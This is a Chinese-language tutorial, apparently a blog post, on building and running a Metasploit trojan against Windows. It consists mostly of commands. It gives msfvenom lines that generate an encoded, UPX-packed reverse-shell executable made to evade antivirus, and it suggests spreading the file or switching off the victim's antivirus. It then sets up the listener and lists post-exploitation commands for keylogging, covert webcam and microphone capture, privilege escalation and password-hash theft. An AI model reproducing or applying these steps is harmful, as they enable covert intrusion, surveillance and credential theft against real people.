Metasploit远程控制软件,及木马的使用
基础小知识:木马:- 1. 控制端(控制程序) - 2.服务端(木马程序)so 要进行木马攻击必须要先根据自己的IP生成一个木马
1.打开终端,输入
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.43.80 LPORT=55555 X > test.exe
‘X’ —-以二进制显示出来
‘>’ —-“写”的意思
生成一个木马程序test.exe
- 更新了kali了,现在已经没有msfpayload的命令了,换成msfvenom了。里面集成了msfpayload和msfencode
kali2.0之后的可以使用以下命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.1.113 LPORT=443 -f exe > abc.exe // -p payload -e 编码方式 -i 编码次数 -b 在生成的程序中避免出现的值 LHOST,LPORT 监听上线的主机IP和端口 -f exe 生成EXE格式
还可以使用UPX加壳,做免杀处理,命令如下
upx -5 /root/Desktop/acn.exe
2.将生成的木马程序发布出去,在根目录下找到即可。现在杀毒软件会发现并将其隔离,如果不想被发现,可以做免杀处理,如果不想做免杀处理,把目标机的杀毒软件关掉就可以拖进去了
3.打开另一个终端,输入
msfconsole
启动metasploit
4.在msf下输入
use exploit/multi/handler
5.查看需要设置的参数
show options
6.设置payload
set PAYLOAD windows/meterpreter/reverse_tcp
使用这个shellcode程序
7.查看参数设置
show options
8.设置LHOST,LPORT
set LHOST 192.168.43.80 set LPORT 55555
9.执行程序
exploit
生成一个等待连接会话,等待有人点击木马程序,当被攻击者点击之后生成
meterpreter >
这样一个等待输入的状态,可以进行一系列邪恶的操作
例如查看系统
meterpreter > sysinfo
获取shell
meterpreter > shell
先执行msf,后执行木马,如何使用工具
help //查看帮助
1.将自己暂时不用的会话放在后台
background
如何返回刚才的会话
sessions -l //查看会话 sessions -i 1 //选择刚才的会话,数字‘1’视情况而定
2.进程注入(木马随时有可能被结束掉)
meterpreter > ps //得到要注入的PID进程
经过查看得到桌面管理进程:2036 2004 explorer.exe
meterpreter > migrate 2036 //注入
3.远程桌面的开启
meterpreter > run vuc
4.系统文件管理功能
meterpreter > XXXXXX XXXXXX //功能 download //下载文件 edit //编辑文件(vim编辑器的使用) cat //查看文件 mkdir //创建文件 mv //移动文件 rm //删除文件 upload //上传文件 rmdir //删除文件夹
vim编辑器的使用:’i’ 开始编辑 —esc键:退出编辑状态—-shift+:并输入wq(保存并退出)
5.网络和系统操作
meterpreter > XXXXX XXXXX //功能 arp //看arp缓冲表 ifconfig //看IP地址及网卡 getproxy //获取代理 netstat · //查看端口链接 kill +代号 //结束进程(ps查看) ps //查看进程 reboot //重启电脑 reg //修改注册表 shell //获取shell shutdown //关闭电脑 sysinfo //获取电脑信息
6.用户接口操作及摄像头操作
meterpreter > XXXXXX XXXXXX //功能 enumdesktops //用户登录数 keyscan_start //键盘记录开始(第一步) keyscan_dump //键盘记录下载(第二步) keyscan_stop //键盘记录停止(第三步) uictl //获取键盘鼠标控制权(使用方法加“-h”查看) record_mic //音频录制(-d 可以自己设置时间长短,默认1秒) webcam_chat //查看摄像头接口 webcam_list //查看摄像头列表 webcam_stream //摄像头视频获取 getsystem //获取高权限 hashdump //下载hash密文
如何用命令行查看视频与音频文件
apt-get install mplayer mplayer XXXXXX(播放文件)